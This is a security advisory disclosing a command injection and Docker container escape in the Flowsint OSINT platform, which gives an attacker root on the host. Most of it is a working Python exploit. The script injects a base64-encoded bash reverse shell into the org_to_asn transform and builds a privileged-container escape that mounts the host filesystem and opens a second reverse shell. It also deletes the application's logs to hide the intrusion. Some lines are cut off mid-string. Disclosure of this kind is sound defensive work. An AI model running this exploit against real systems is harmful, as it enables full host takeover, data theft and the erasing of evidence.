# Command Injection and Docker container escape allows root on host machine

Critical **dextmorgn** published **GHSA-9g44-8xv2-f2m9** 8 hours ago

**Package**

No package listed

| Affected versions | Patched versions |
| --- | --- |
| <859315731c0f5f8dfd7e4c02d3bfe291b230d057 | v1.2.3 |

**Description**

## Summary

Flowsint allows a user to create investigations, which are used to manage sketches and analyses. Sketches have controllable graphs, which are comprised of nodes and relationships. The sketches contain information on an OSINT target (usernames, websites, etc) within these nodes and relationships. The nodes can have automated processes execute on them called 'transformers'. A remote attacker can create a sketch, then trigger the 'org_to_asn' transform on an organisation node to execute arbitrary OS commands as root on the host machine via shell metacharacters and a docker container escape.

## Detail

An adversary could use `$(command)` syntax to achieve arbitrary command execution via command substitution. Within 'flowsint-transformers/src/flowsint-transformers/organization/to_asn.py' on lines 64-70 is this code snippet:

```
def __get_asn_from_asnmap(self, name: str) -> Dict[str, Any]:
    try:
        # Properly run the shell pipeline using shell=True
        command = f"echo {name} | asnmap -silent -json | jq -s"
```

```
        result = subprocess.run(
            command, shell=True, capture_output=True, text=True, timeout=60
        )
```

Following the code execution path, the 'name' parameter is controlled by the user in a POST request to `/api/transformers/org_to_asn/launch` within 'values'. Due to this command being executed as a string with an interpolated variable and is passed to subprocess with 'shell' enabled, it is vulnerable to command injection.

Once a shell is established via command injection, the docker socket is mounted in the container, allowing an adversary to escape out of the container and mount the host file-system with root capabilities within a new docker container.

## Impact

An adversary has root access to the host machine hosting the Flowsint, resulting in complete system compromise. This allows the attacker the ability to compromise the confidentiality of sensitive data, potentially cause an outage to the service, infect the host with malware, and any other adversarial action.

## PoC

```python
#!/venv/bin/python3

import argparse
import base64
import random
import string
import time

import requests

# Made by sealldev

def random_string(length: int):
    """
    Generate a random string of letters and numbers of a specified length.
    """
    return "".join(random.choices(string.ascii_letters + string.digits, k=length))


class AsnToOrganisationRCE:
    """
    A generalised class to manage the web sessions and values for the exploit.
    """

    def __init__(self):
        self.username = random_string(20)
        self.password = random_string(20)
        self.email = f"{random_string(10)}@{random_string(10)}.com".lower()
```

```
        self.session = requests.Session()
        self.listener_ip = "localhost"
        self.listener_port = 4444
        self.secondary_listener_port = 4445
        self.remote_ip = "localhost"
        self.remote_port = 5001
        self.insecure = False
        self.url = ""
        self.headers = {}
        self.payload = ""
        self.verbose = False

    def exploit(self):
        """
        Execute the exploit.
        """
        self.payload = self.craft_payload()
        self.register_user()
        self.get_token()
        investigation_id = self.create_investigation()
        sketch_id = self.create_sketch(investigation_id)
        self.rce_via_org_to_asn(sketch_id)
        print("[+] Docker escape one-liner below:")
        print(self.craft_docker_escape())
        time.sleep(3)
        self.cleanup_logs(sketch_id)
        input(
            "[+] Press any key once reverse shell is closed to remove the remaining logs
        )
        self.cleanup_logs(sketch_id)

    def register_user(self):
        """
        Register a user on the /api/auth/register endpoint with randomly generated value
        """
        json_payload = {
            "username": self.username,
            "email": self.email,
            "password": self.password,
        }
        res = self.session.post(
            f"{self.url}/api/auth/register",
            json=json_payload,
            verify=(not self.insecure),
        )
        if not res.status_code == 201:
            raise ValueError(
                f"[x] Expecting status code 201, recieved {res.status_code}"
            )
        res_data = res.json()
        message = res_data.get("message", None)
        if not message == "User registered successfully":
            raise ValueError(
                f'[x] Expected successful registration message, recieved "{message}".'
            )
        print("[+] User successfully registered!")
```

```
        if self.verbose:
            print(f"  - Username: {self.username}")
            print(f"  - Email: {self.email}")
            print(f"  - Password: {self.password}")
        return

    def get_token(self):
        """
        With a valid user's credentials, get a token for a user.
        """
        payload = {"username": self.email, "password": self.password}
        res = self.session.post(f"{self.url}/api/auth/token", data=payload)
        res_data = res.json()
        access_token = res_data.get("access_token", None)
        if not access_token:
            raise ValueError(
                f"[x] Exploitation failed, access token was not found in response.\n  -
            )
        self.headers = {"Authorization": f"Bearer {access_token}"}
        print("[+] Got access token!")
        if self.verbose:
            print(f"  - {access_token}...")
        return

    def create_investigation(self):
        """
        Create an investigation project, to then create a sketch within in 'create_sketc
        """
        json_payload = {"name": random_string(20), "description": random_string(20)}
        res = self.session.post(
            f"{self.url}/api/investigations/create",
            json=json_payload,
            headers=self.headers,
        )
        res_data = res.json()
        investigation_id = res_data.get("id", None)
        if not investigation_id:
            raise ValueError(
                f"[x] Exploitation failed, investigation id was not found in response.\n
            )
        print('[+] Created an investigation "' + json_payload["name"] + '"')
        if self.verbose:
            print(f"  - Investigation ID: {investigation_id}")
        return investigation_id

    def create_sketch(self, investigation_id):
        """
        Create a sketch to execute the vulnerability within.
        """
        json_payload = {
            "title": random_string(20),
            "description": random_string(20),
            "investigation_id": investigation_id,
        }
        res = self.session.post(
            f"{self.url}/api/sketches/create", json=json_payload, headers=self.headers
```

```
        )
        res_data = res.json()
        sketch_id = res_data.get("id", None)
        if not sketch_id:
            raise ValueError(
                f"[x] Exploitation failed, sketch id was not found in response.\n  - Res
            )
        print('[+] Created an sketch "' + json_payload["title"] + '"')
        if self.verbose:
            print(f"  - Sketch ID: {sketch_id}")
        return sketch_id

    def rce_via_org_to_asn(self, sketch_id):
        """
        Using the org_to_asn transformer, trigger blind RCE.
        """
        if not sketch_id:
            print("[x] Cannot launch transform without a sketch ID.")
            return

        payload_value = f"$(echo '{self.payload}'|base64 -d|bash)"
        json_payload = {
            "values": [payload_value],
            "sketch_id": sketch_id,
        }

        res = self.session.post(
            f"{self.url}/api/transforms/org_to_asn/launch",
            json=json_payload,
            headers=self.headers,
        )
        if not res.status_code == 200:
            raise ValueError(
                f"[x] Expected status code 200 on exploit, recieved {res.status_code}"
            )
        res_data = res.json()
        log_id = res_data.get("id", None)
        if not log_id:
            raise ValueError(
                f"[x] Exploitation failed, no id found in response\n  - Response: {res_d
            )
        print("[+] Action started with payload.")
        if self.verbose:
            print(f"  - Transformer Action ID: {log_id}")
        print("[+] Shell should start now!")

    def craft_docker_escape(self):
        """
        Craft a docker escape payload to use in the first reverse shell to trigger
        a second reverse shell within the new container with the host mount.
        """
        docker_escape = f"""#!/bin/bash
        set -euo pipefail

        if ! command -v docker >/dev/null 2>&1; then
        curl -fsSL https://get.docker.com | bash
```

```
        fi

        docker run --rm -i \
        --pid=host --userns=host --uts=host --cgroupns=host \
        --cap-add=ALL \
        --security-opt apparmor=unconfined \
        --security-opt seccomp=unconfined \
        --security-opt label:disable \
        -v /:/host \
        -v /dev:/host/dev \
        -v /dev/pts:/host/dev/pts \
        -v /proc:/host/proc \
        -v /sys:/host/sys \
        ubuntu \
        bash -lc 'chroot /host /bin/bash -c "/bin/bash -i >& /dev/tcp/{self.listener_ip}
        """
        return f"echo '{base64.b64encode(docker_escape.encode()).decode()}' | base64 -d

    def craft_payload(self):
        """
        Craft a reverse shell payload to submit for initial shell.
        """
        return base64.b64encode(
            f"/bin/bash -i >& /dev/tcp/{self.listener_ip}/{self.listener_port} 0>&1".enc
        ).decode()

    def cleanup_logs(self, sketch_id):
        """
        For OPSEC, cleanup the logs after compromising with a reverse shell.
        """
        res = self.session.delete(
            f"{self.url}/api/events/sketch/{sketch_id}/logs",
            headers=self.headers,
        )
        if not res.status_code == 200:
            raise ValueError(
                f"[x] Expecting status code 200, recieved {res.status_code}"
            )
        res_data = res.json()
        message = res_data.get("message", None)
        if not message or not message == "All logs have been deleted successfully":
            raise ValueError(
                f"[x] Exploitation failed, unexpected message was in response.\n  - {res
            )
        print("[+] Cleaned up logs from the sketch")
        return


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-lp",
        "--listener-port",
        help="The port to listen on for the initial reverse shell into the docker contai
        default=4444,
    )
```

```
    parser.add_argument(
        "-lp2",
        "--secondary-listener-port",
        help="The port to listen on for the second reverse shell for the Docker escape (
        default=4445,
    )
    parser.add_argument(
        "-li",
        "--listener-ip",
        help="The IP of the listener for the reverse shell (Default: localhost).",
        default="localhost",
    )
    parser.add_argument(
        "-rp",
        "--remote-port",
        help="The port for the remote Flowsint API (Default: 5001).",
        default=5001,
    )
    parser.add_argument(
        "-ri",
        "--remote-ip",
        help="The IP for the remote Flowsint API (Default: localhost).",
        default="localhost",
    )
    parser.add_argument(
        "-v",
        "--verbose",
        help="Enable verbosity in logging for extra detail when debugging (Default: Fals
        action="store_true",
    )
    parser.add_argument(
        "-k",
        "--insecure",
        help="Utilise HTTP for a connection to the website (Default: False).",
        action="store_true",
    )
    args = parser.parse_args()

    exploit = AsnToOrganisationRCE()
    if args.listener_port:
        exploit.listener_port = args.listener_port
    if args.listener_ip:
        exploit.listener_ip = args.listener_ip
    if args.remote_port:
        exploit.remote_port = args.remote_port
    if args.remote_ip:
        exploit.remote_ip = args.remote_ip
    if args.insecure:
        exploit.insecure = args.insecure
    if args.verbose:
        exploit.verbose = args.verbose
    if args.secondary_listener_port:
        exploit.secondary_listener_port = args.secondary_listener_port
    exploit.url = (
        f"{'http' if args.insecure else 'https'}://{args.remote_ip}:{args.remote_port}"
```

```
    )
    exploit.exploit()
```

### Severity

Critical

### CVE ID

CVE-2026-32311

### Weaknesses

▶ CWE-78

### Credits

**sealldeveloper** Reporter